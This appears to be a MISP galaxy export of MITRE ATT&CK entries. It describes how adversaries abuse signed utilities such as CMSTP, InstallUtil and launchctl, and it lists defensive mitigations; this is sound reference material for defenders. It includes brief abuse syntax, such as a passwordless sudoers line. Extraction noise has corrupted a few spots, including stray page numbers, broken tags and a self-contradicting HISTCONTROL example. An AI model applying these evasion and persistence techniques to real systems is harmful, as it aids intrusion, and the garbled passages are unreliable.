Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)

The tag is: **misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117"**

### InstallUtil - T1118

InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil)

InstallUtil is located in the .NET directories on a Windows system:

<code>C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe</code> and <code>C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe</code>. InstallUtil.exe is digitally signed by Microsoft.

Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLBAS Installutil)

The tag is: **misp-galaxy:mitre-attack-pattern="InstallUtil - T1118"**

### CMSTP - T1191

The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.

Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: 1035)
Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / "Squiblydoo", CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.

CMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="CMSTP - T1191"*

### Keychain - T1142

Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in <code>~/Library/Keychains/</code>, <code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>. (Citation: Wikipedia keychain) The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.

To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user's logon credentials.

The tag is: *misp-galaxy:mitre-attack-pattern="Keychain - T1142"*

1036
Launchctl - T1152

Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as \texttt{launchctl submit -l <labelName> — /Path/to/thing/to/execute "arg" "arg" "arg"}. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges.

Adversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.

The tag is: misp-galaxy:mitre-attack-pattern="Launchctl - T1152"

Source - T1153

The \texttt{source} command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways \texttt{source /path/to/filename [arguments]} or \texttt{./path/to/filename [arguments]}. Take note of the space after the ".". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual)

Adversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.

Trap - T1154

The `<code>trap</code>` command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like `<code>ctrl+c</code>` and `<code>ctrl+d</code>`. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format `<code>trap 'command list' signals</code>` where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)

HISTCONTROL - T1148

The `<code>HISTCONTROL</code>` environment variable keeps track of what should be saved by the `<code>history</code>` command and eventually into the `<code>~/.bash_history</code>` file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". `<code>HISTCONTROL</code>` can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that "ls" will not be saved, but "ls" would be saved by history. `<code>HISTCONTROL</code>` does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.

Defacement - T1491

Adversaries may modify visual content available internally or externally to an enterprise network. Reasons for Defacement include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion.
Internal

An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper. (Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages. While internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished. (Citation: Novetta Blockbuster Destructive Malware)

External

Websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda. (Citation: FireEye Cyber Threats to Media Industries) (Citation: Kevin Mandia Statement to US Senate Committee on Intelligence) (Citation: Anonymous Hackers Deface Russian Govt Site) Defacement may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). (Citation: Trend Micro Deep Dive Into Defacement)

</tbody>
</table>

AppleScript - T1155

macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the `<code>osalang</code>` program. AppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.
Adversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via `<code>osascript /path/to/script</code>` or `<code>osascript -e "script here"</code>.

**Emond - T1519**

Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at `<code>/sbin/emond</code>` will load any rules from the `<code>/etc/emond.d/rules/</code>` directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path `<code>/private/var/db/emondClients</code> specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at `<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>`.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)

Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service.

**Sudo - T1169**

The sudoers file, `<code>/etc/sudoers</code>`, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like `<code>user1 ALL=(ALL) NOPASSWD: ALL</code>` (Citation: OSX.Dok Malware). 

Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.

**Hooking - T1179**

Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions.

Hooking involves redirecting calls to these functions and can be implemented via:

- **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Endgame Process Injection July 2017)

- **Import address table (IAT) hooking**, which use modifications to a process's IAT, where pointers to imported API functions are stored. (Citation: Endgame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)

- **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Endgame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)

Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.

Malicious hooking mechanisms may also capture API calls that include parameters that reveal user
authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Urnsif.gen!I Sept 2017)

Hooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014) to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)

Exfiltration Over Command and Control Channel Mitigation - T1041

Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid
detection by common defensive tools. (Citation: University of Birmingham C2)

**Image File Execution Options Injection Mitigation - T1183**

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Identify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechy 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.

Caution with Device Administrator Access - M1007

Warn device users not to accept requests to grant Device Administrator access to applications without good reason.

Additionally, application vetting should include a check on whether the application requests Device Administrator access. Applications that do request Device Administrator access should be carefully scrutinized and only allowed to be used if a valid reason exists.

Indicator Removal on Host Mitigation - T1070

Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication and limit opportunities for adversaries to increase privileges by preventing Privilege Escalation opportunities. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.

Exploitation of Remote Services Mitigation - T1210

Segment networks and systems appropriately to reduce access to critical systems and services to controlled methods. Minimize available services to only those that are necessary. Regularly scan the internal network for available services to identify new and potentially vulnerable services. Minimize permissions and access for service accounts to limit impact of exploitation.

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for all software or services targeted.

File System Permissions Weakness Mitigation - T1044

Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)

Identify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)

```
Turn off UAC's privilege elevation for standard users
<code>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]<
<code>to automatically deny elevation requests, add:
<code>"ConsentPromptBehaviorUser"=dword:00000000</code>  (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding:
<code>"EnableInstallerDetection"=dword:00000001</code>. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add:
<code>"EnableInstallerDetection"=dword:00000000</code>. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.
```

Table 2700. Table References
Exfiltration Over Alternative Protocol Mitigation - T1048

Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network. For example, if services like FTP are not required for sending information outside of a network, then block FTP-related ports at the network perimeter. Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network. (Citation: TechNet Firewall Design) These actions will help reduce command and control and exfiltration path opportunities.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. ## Indicator Removal from Tools Mitigation - T1066

Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.

Identify and block potentially malicious software that may be used by an adversary by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: `misp-galaxy:mitre-course-of-action="Indicator Removal from Tools Mitigation - T1066"`

Indicator Removal from Tools Mitigation - T1066 has relationships with:

## Exploitation for Privilege Escalation Mitigation - T1068

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for
advocates to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software components targeted for privilege escalation.

Network Denial of Service Mitigation - T1498

When flood volumes exceed the capacity of the network connection being targeted, it is typically necessary to intercept the incoming traffic upstream to filter out the attack traffic from the legitimate traffic. Such defenses can be provided by the hosting Internet Service Provider (ISP) or by a 3rd party such as a Content Delivery Network (CDN) or providers specializing in DoS mitigations.(Citation: CERT-EU DDoS March 2017)

Depending on flood volume, on-premises filtering may be possible by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.(Citation: CERT-EU DDoS March 2017)

As immediate response may require rapid engagement of 3rd parties, analyze the risk associated to critical resources being affected by Network DoS attacks and create a disaster recovery plan/business continuity plan to respond to incidents.(Citation: CERT-EU DDoS March 2017)

The tag is: `misp-galaxy:mitre-course-of-action="Network Denial of Service Mitigation - T1498"`

Password Policy Discovery Mitigation - T1201

Mitigating discovery of password policies is not advised since the information is required to be known by systems and users of a network. Ensure password policies are such that they mitigate brute force attacks yet will not give an adversary an information advantage because the policies are too light. Active Directory is a common way to set and enforce password policies throughout an enterprise network. (Citation: Microsoft Password Complexity)

Remote File Copy Mitigation - T1105

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

Application Deployment Software Mitigation - T1017

Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that
account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).

If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.

Uncommonly Used Port Mitigation - T1065

Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

System Time Discovery Mitigation - T1124

Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.

Identify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="System Time Discovery Mitigation - T1124"

System Time Discovery Mitigation - T1124 has relationships with:
Browser Bookmark Discovery Mitigation - T1217

File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. For example, mitigating accesses to browser bookmark files will likely have unintended side effects such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. Remote Access Tools Mitigation - T1219

Properly configure firewalls, application firewalls, and proxies to limit outgoing traffic to sites and services used by remote access tools.

Network intrusion detection and prevention systems that use network signatures may be able to prevent traffic to these services as well.

Use application whitelisting to mitigate use of and installation of unapproved software.

The tag is: misp-galaxy:mitre-course-of-action="Remote Access Tools Mitigation - T1219"

Remote Access Tools Mitigation - T1219 has relationships with:

External Remote Services Mitigation - T1133

Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls. Disable or block remotely available services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028). Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [Two-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111) techniques for some two-factor authentication implementations.

The tag is: misp-galaxy:mitre-course-of-action="External Remote Services Mitigation - T1133"

External Remote Services Mitigation - T1133 has relationships with:

Access Token Manipulation Mitigation - T1134

Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.

Any user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token)

Also limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.

The tag is: `misp-galaxy:mitre-course-of-action="Access Token Manipulation Mitigation - T1134"`

Access Token Manipulation Mitigation - T1134 has relationships with:

1106
Office Application Startup Mitigation - T1137

Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing. Even setting to disable with notification could enable unsuspecting users to execute potentially malicious macros. (Citation: TechNet Office Macro Security)

For the Office Test method, create the Registry key used to execute it and set the permissions to "Read Control" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation. (Citation: Palo Alto Office Test Sofacy)

Disable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins)

For the Outlook methods, blocking macros may be ineffective as the Visual Basic engine used for these features is separate from the macro scripting engine. (Citation: SensePost Outlook Forms) Microsoft has released patches to try to address each issue. Ensure KB3191938 which blocks Outlook Visual Basic and displays a malicious code warning, KB4011091 which disables custom forms by default, and KB4011162 which removes the legacy Home Page feature, are applied to systems. Spearphishing via Service Mitigation - T1194

Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.

Because this technique involves use of legitimate services and user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify...
social engineering techniques and spearphishing emails with malicious links. To prevent the downloads from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.

The tag is: *misp-galaxy:mitre-course-of-action="Spearphishing via Service Mitigation - T1194"*

## Supply Chain Compromise Mitigation - T1195

Apply supply chain risk management (SCRM) practices and procedures (Citation: MITRE SE Guide 2014), such as supply chain analysis and appropriate risk management, throughout the life-cycle of a system.

Leverage established software development lifecycle (SDLC) practices (Citation: NIST Supply Chain 2012):

- Uniquely Identify Supply Chain Elements, Processes, and Actors
- Limit Access and Exposure within the Supply Chain
- Establish and Maintain the Provenance of Elements, Processes, Tools, and Data
- Share Information within Strict Limits
- Perform SCRM Awareness and Training
- Use Defensive Design for Systems, Elements, and Processes
- Perform Continuous Integrator Review
- Strengthen Delivery Mechanisms
- Assure Sustainment Activities and Processes
- Manage Disposal and Final Disposition Activities throughout the System or Element Life Cycle

A patch management process should be implemented to check unused dependencies, unmaintained and/or previously vulnerable dependencies, unnecessary features, components, files, and documentation. Continuous monitoring of vulnerability sources and the use of automatic and manual code review tools should also be implemented as well. (Citation: OWASP Top 10 2017)

The tag is: *misp-galaxy:mitre-course-of-action="Supply Chain Compromise Mitigation - T1195"*

Supply Chain Compromise Mitigation - T1195 has relationships with:

- mitigates: *misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195"* with estimative-language:likelihood-probability="almost-certain"
Setuid and Setgid Mitigation - T1166

Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised. Additionally, the number of programs with setuid or setgid bits set should be minimized across a system.

The tag is: `misp-galaxy:mitre-course-of-action="Setuid and Setgid Mitigation - T1166"`

Setuid and Setgid Mitigation - T1166 has relationships with:

Local Job Scheduling Mitigation - T1168

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled jobs. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule jobs using whitelisting tools.

The tag is: `misp-galaxy:mitre-course-of-action="Local Job Scheduling Mitigation - T1168"`

Local Job Scheduling Mitigation - T1168 has relationships with:

- mitigates: `misp-galaxy:mitre-attack-pattern="Local Job Scheduling - T1168"` with estimative-language:likelihood-probability="almost-certain"

Control Panel Items Mitigation - T1196

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API
calls and/or execution of particular file extensions will likely have unintended side effects, such as preventing legitimate software (i.e., drivers and configuration tools) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.

Restrict storage and execution of Control Panel items to protected directories, such as `<code>C:\Windows</code>`, rather than user directories.

Index known safe Control Panel items and block potentially malicious software using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executable files.

Consider fully enabling User Account Control (UAC) to impede system-wide changes from illegitimate administrators. (Citation: Microsoft UAC)

The tag is: `misp-galaxy:mitre-course-of-action="Control Panel Items Mitigation - T1196"`

### Domain Generation Algorithms Mitigation - T1483

This technique may be difficult to mitigate since the domains can be registered just before they are used, and disposed shortly after. Malware researchers can reverse-engineer malware variants that use DGAs and determine future domains that the malware will attempt to contact, but this is a time and resource intensive effort. (Citation: Cybereason Dissecting DGAs) (Citation: Cisco Umbrella DGA Brute Force) Malware is also increasingly incorporating seed values that can be unique for each instance, which would then need to be determined to extract future generated domains. In some cases, the seed that a particular sample uses can be extracted from DNS traffic. (Citation: Akamai DGA Mitigation) Even so, there can be thousands of possible domains generated per day; this makes it impractical for defenders to preemptively register all possible C2 domains due to the cost. In some cases a local DNS sinkhole may be used to help prevent DGA-based command and control at a reduced cost.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

**Third-party Software Mitigation - T1072**

Evaluate the security of third-party software that could be used in the enterprise environment. Ensure that access to management systems for third-party systems is limited, monitored, and secure. Have a strict approval policy for use of third-party systems.

Grant access to Third-party systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multi-factor authentication. Verify that account credentials that may be used to access third-party systems are unique and not used throughout the enterprise network. Ensure that any accounts used by third-party providers to access these systems are traceable to the third-party and are not used throughout the network or used by other third-party providers in the same environment. Ensure third-party systems are regularly patched by users or the provider to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).

Ensure there are regular reviews of accounts provisioned to these systems to verify continued business need, and ensure there is governance to trace de-provisioning of access that is no longer required.

Where the third-party system is used for deployment services, ensure that it can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the third-party system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.
Third-party Software Mitigation - T1072 has relationships with:

### DLL Side-Loading Mitigation - T1073

Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.

SID-History Injection Mitigation - T1178

Clean up SID-History attributes after legitimate account migration is complete.

Consider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e. preventing the trusted domain from claiming a user has membership in groups outside of the domain).

SID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.

SID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)

- Disabling SIDHistory on forest trusts using the netdom tool `<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /EnableSIDHistory:no</code>` on the domain controller.
- Applying SID Filter Quarantining to external trusts using the netdom tool `<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine:yes</code>` on the domain controller.
Applying SID Filtering to domain trusts within a single forest is not recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust.

---

**Drive-by Compromise Mitigation - T1189**

Drive-by compromise relies on there being a vulnerable piece of software on the client end systems. Use modern browsers with security features turned on. Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique.

For malicious code served up through ads, adblockers can help prevent that code from executing in
the first place. Script blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.

Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Other types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

